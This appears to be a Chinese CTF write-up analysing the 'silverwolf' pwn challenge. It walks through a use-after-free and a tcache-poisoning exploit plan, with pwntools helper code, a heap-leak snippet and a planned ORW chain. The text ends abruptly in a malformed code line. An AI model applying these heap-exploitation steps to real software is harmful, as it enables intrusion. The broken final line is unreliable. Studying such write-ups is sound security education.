一、题目来源
NSSCTF_Pwn_[CISCN 2021 初赛]silverwolf
二、信息搜集
通过 file 命令查看文件类型:
通过 checksec 命令查看文件开启的保护机制:
根据题目给的 libc 文件确定 glibc 版本是 2.27。
三、反汇编文件开始分析
程序的开头能看到设置了沙箱:- __int64 sub_C70()
- {
- __int64 v0; // rbx
- setvbuf(stdin, 0, 2, 0);
- setvbuf(stdout, 0, 2, 0);
- setvbuf(stderr, 0, 2, 0);
- v0 = seccomp_init(0);
- seccomp_rule_add(v0, 2147418112, 0, 0);
- seccomp_rule_add(v0, 2147418112, 2, 0);
- seccomp_rule_add(v0, 2147418112, 1, 0);
- return seccomp_load(v0);
- }
复制代码 通过工具可以分析出这个沙箱的作用:
ORW 被 ALLOW,那么本题的是不是和它有关呢?先打个问号。
根据输出提示,能知道程序的四大功能(exit 就不多说了):- puts("1. allocate");
- puts("2. edit");
- puts("3. show");
- puts("4. delete");
- puts("5. exit");
复制代码 逐一进行分析。
1、allocate
- unsigned __int64 allocate()
- {
- size_t v1; // rbx
- void *v2; // rax
- size_t size; // [rsp+0h] [rbp-18h] BYREF
- unsigned __int64 v4; // [rsp+8h] [rbp-10h]
- v4 = __readfsqword(0x28u);
- __printf_chk(1, "Index: ");
- __isoc99_scanf(&unk_1144, &size);
- if ( !size )
- {
- __printf_chk(1, "Size: ");
- __isoc99_scanf(&unk_1144, &size);
- v1 = size;
- if ( size > 0x78 )
- {
- __printf_chk(1, "Too large");
- }
- else
- {
- v2 = malloc(size);
- if ( v2 )
- {
- qword_202050 = v1;
- buf = v2;
- puts("Done!");
- }
- else
- {
- puts("allocate failed");
- }
- }
- }
- return __readfsqword(0x28u) ^ v4;
- }
复制代码 虽然让我们指定了下标(index),但是根据代码 if ( !size ) 我们知道:若要成功申请 chunk,那么 index 就只能为 0。但是,这也就意味着,我们可以一直申请 chunk,只要指定 index 为 0。
三个信息点:
- chunk 的大小是我们自己指定的,但是最大不超过 0x78(size > 0x78 )。
- 全局变量 qword_202050 会存放我们申请 chunk 的大小(不含 chunk header)。
- 全局变量 buf 会指向 chunk 的 user data 部分。
2、edit
- unsigned __int64 edit()
- {
- _BYTE *v0; // rbx
- char *v1; // rbp
- __int64 v3; // [rsp+0h] [rbp-28h] BYREF
- unsigned __int64 v4; // [rsp+8h] [rbp-20h]
- v4 = __readfsqword(0x28u);
- __printf_chk(1, (__int64)"Index: ");
- __isoc99_scanf(&unk_1144, &v3);
- if ( !v3 )
- {
- if ( buf )
- {
- __printf_chk(1, (__int64)"Content: ");
- v0 = buf;
- if ( qword_202050 )
- {
- v1 = (char *)buf + qword_202050;
- while ( 1 )
- {
- read(0, v0, 1u);
- if ( *v0 == '\n' )
- break;
- if ( ++v0 == v1 )
- return __readfsqword(0x28u) ^ v4;
- }
- *v0 = 0;
- }
- }
- }
- return __readfsqword(0x28u) ^ v4;
- }
复制代码 根据指定的下标,编辑对应 chunk 的 user data 部分。
两个关键信息:
- 能够填入的内容的最大大小取决于全局变量 qword_202050。
- 输入结束,若要退出循环,则需要输入换行符(\n)作为结束字符,该换行符最终会被转变成空字符"\0"。
3、show
- unsigned __int64 show()
- {
- __int64 v1; // [rsp+0h] [rbp-18h] BYREF
- unsigned __int64 v2; // [rsp+8h] [rbp-10h]
- v2 = __readfsqword(0x28u);
- __printf_chk(1, (__int64)"Index: ");
- __isoc99_scanf(&unk_1144, &v1);
- if ( !v1 && buf )
- __printf_chk(1, (__int64)"Content: %s\n");
- return __readfsqword(0x28u) ^ v2;
- }
复制代码 根据输入的下标,来输出对应 chunk 的 user data 部分。
对于 __printf_chk,这里单看 C 语言代码可能有点迷糊,可以结合汇编代码来理解:- .text:0000000000000F0D 018 48 8B 15 44 11 20 00 mov rdx, cs:buf
- .text:0000000000000F14 018 48 85 D2 test rdx, rdx
- .text:0000000000000F17 018 74 13 jz short loc_F2C
- .text:0000000000000F17
- .text:0000000000000F19 018 48 8D 35 57 02 00 00 lea rsi, aContentS ; "Content: %s\n"
- .text:0000000000000F20 018 BF 01 00 00 00 mov edi, 1
- .text:0000000000000F25 018 31 C0 xor eax, eax
- .text:0000000000000F27 018 E8 D4 FA FF FF call ___printf_chk
复制代码 函数原型:- int __printf_chk(int flag, const char *format, ...);
复制代码
- flag:用于指定检查的级别。通常由编译器根据 FORTIFY_SOURCE 的设置自动传递。flag > 0 时,启用更严格的检查,例如限制 %n 的使用。
- format:格式化字符串,与标准 printf 的用法一致。
- ...:可变参数列表,与 printf 的参数一致。
从汇编代码中可以看出,第三个参数(放在 rdx 中)沿用了之前的 mov rdx, cs:buf。
因此,该函数的 C 语言代码应该是:- __printf_chk(1,"Content: %s\n", buf);
复制代码 4、delete
- unsigned __int64 del()
- {
- __int64 v1; // [rsp+0h] [rbp-18h] BYREF
- unsigned __int64 v2; // [rsp+8h] [rbp-10h]
- v2 = __readfsqword(0x28u);
- __printf_chk(1, (__int64)"Index: ");
- __isoc99_scanf(&unk_1144, &v1);
- if ( !v1 && buf )
- free(buf);
- return __readfsqword(0x28u) ^ v2;
- }
复制代码 根据指定的下标,free 指定的 chunk。但是,free 之后并没有进行指针置 NULL 的操作,因此存在 UAF 的风险。
四、思路
本题有个特点,就是你还未进行任何操作的时候,程序就已经申请了很多的 chunk 了:
目前来看并没有可以利用的信息。
本题的思路就是:
- 通过 UAF 泄露堆基址;
- 通过 UAF 修改 Tcache bin 中的 chunk 的 fd 指针为 Tcache 管理块;(本 Glibc 版本还没有出现 Safe-Linking 机制)
- 将 Tcache 管理块 allocate 出来,伪造其中的 count 指针,来欺骗堆管理器(你的 bin 满了);
- free chunk 使之进入 Unsorted bin;
- 泄露 libc 基址;
- 因为,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot)
五、Poc
1、四大功能的实现
- def allocate(p,size,index=b'0'):
- p.sendlineafter(b'Your choice: ',b'1')
- p.sendlineafter(b'Index: ',index)
- p.sendlineafter(b'Size: ',str(size).encode())
-
- def edit(p,content,index=b'0'):
- p.sendlineafter(b'Your choice: ',b'2')
- p.sendlineafter(b'Index: ',index)
- p.sendlineafter(b'Content: ',content)
- def show(p,index=b'0'):
- p.sendlineafter(b'Your choice: ',b'3')
- p.sendlineafter(b'Index: ',index)
- def delete(p,index=b'0'):
- p.sendlineafter(b'Your choice: ',b'4')
- p.sendlineafter(b'Index: ',index)
复制代码index 等于 0 的时候,这四个功能才有效果,因此可以设置成默认值。
2、泄露堆基址
申请一个 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指针的值 $\to$ 通过该值与堆基址的偏移量,得到堆基址。
假设,我们的目标是申请一个 chunk size 为 0x20 的 chunk。
通过动态调试,查看 bin 列表情况:
根据 Tcache bin 的插入采用头插法和 Tcache bin 采用 LIFO 机制,我们首次申请会得到该链表的表头即上方红箭头指向的那个。
那么,free 之后,对应的链表应该还是老样子,其对应的 fd 指向的就是 0x59313a274790。
现在,我们应该明白,为什么题目一开始要准备那么多的 chunk 了吧?
原因就是,在 allocate 操作之后,我们的 free 操作有且仅能有一次。那么,如果一开始 bins 干净,那么你经过上述操作之后,由于不存在 Safe-Linking 机制,你会得到 你申请的 chunk -> 0 这样的结果。这你就实现不了堆基址的泄露了。
本部分的 Poc:
[code]allocate(p,0x10)delete(p)show(p)p.recvuntil(b'Content: ')leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))heap_base = (leak >> 12 > 12 |